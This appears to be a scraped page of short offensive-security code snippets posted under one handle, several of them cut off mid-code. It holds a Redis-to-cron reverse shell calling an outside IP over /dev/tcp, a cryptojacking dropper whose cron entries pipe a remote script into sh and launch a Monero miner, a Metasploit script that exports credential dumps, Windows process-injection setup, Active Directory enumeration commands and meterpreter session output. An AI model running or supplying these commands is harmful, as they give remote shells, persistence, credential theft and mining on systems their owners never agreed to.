carnal0wnage

redis-cli flushall 
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1 
redis-cli config set dir /var/spool/cron/ 
redis-cli config set dbfilename root 
redis-cli save



from https://phpinfo.me/2016/07/07/1275.html

carnal0wnage

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root

# ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr &


if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

carnal0wnage

<ruby>
File.open("/root/workspaces.txt", "r") do |f|
    f.each_line do |line|
      run_single("workspace #{line}")
      run_single("db_export -f xml -a /root/msf_workspace_export/#{line}_export_13Aug2016.xml")
      run_single("db_export -f pwdump -a /root/msf_workspace_export/#{line}_export_13Aug2016.pwdump")
    end
  end
</ruby>

carnal0wnage

__author__ = 'srv'

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication

username = ''  # Email Address from the email you want to send an email
password = ''  # Password
server = smtplib.SMTP('')

carnal0wnage

                             From the vendor that brought you a
                        vulnerable cloud storage platform comes
                        
           ___              ____  __        __     __ 
          / _ \___ ___ ____/ / / / /__  ___/ /__ _/ /____ 
         / // / -_) _ `/ _  / /_/ / _ \/ _  / _ `/ __/ -_)
        /____/\__/\_,_/\_,_/\____/ .__/\_,_/\_,_/\__/\__/ 
         Because popping SYSTEM /_/ is easy when you trust HTTP

Or, "How I learned to stop worrying and

carnal0wnage

import sys
from ctypes import *

PAGE_READWRITE     =     0x04
PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32 #Get the wanted dll

pid = sys.argv[1] #Gather sent parameters

carnal0wnage

# get all the groups a user is effectively a member of, 'recursing up'
Get-NetGroup -UserName <USER>

# get all the effective members of a group, 'recursing down'
Get-NetGroupMember -GoupName <GROUP> -Recurse

# get the effective set of users who can administer a server
Get-NetLocalGroup -Recurse SERVER.domain.local

# retrieve all the computers a GPP password applies to

carnal0wnage

msf post(execute) > sessions -s checkvm
[*] Session 5 (13.37.1.11):
[*] Running script checkvm on meterpreter session 5 (13.37.1.11)
[*] Checking if target is a Virtual Machine .....
[*] It appears to be physical host.
[*] Session 6 (13.37.1.11):
[*] Running script checkvm on meterpreter session 6 (13.37.1.11)
[*] Checking if target is a Virtual Machine .....
[*] It appears to be physical host.
[*] Session 7 (13.37.5.10):

carnal0wnage

msf > sessions -h
Usage: sessions [options]

Active session manipulation and interaction.

OPTIONS:

    -K        Terminate all sessions
    -c <opt>  Run a command on the session given with -i, or all
    -h        Help banner

carnal0wnage

<ruby>
framework.sessions.each do |session|
    session.run_cmd("screenshot")
end
</ruby>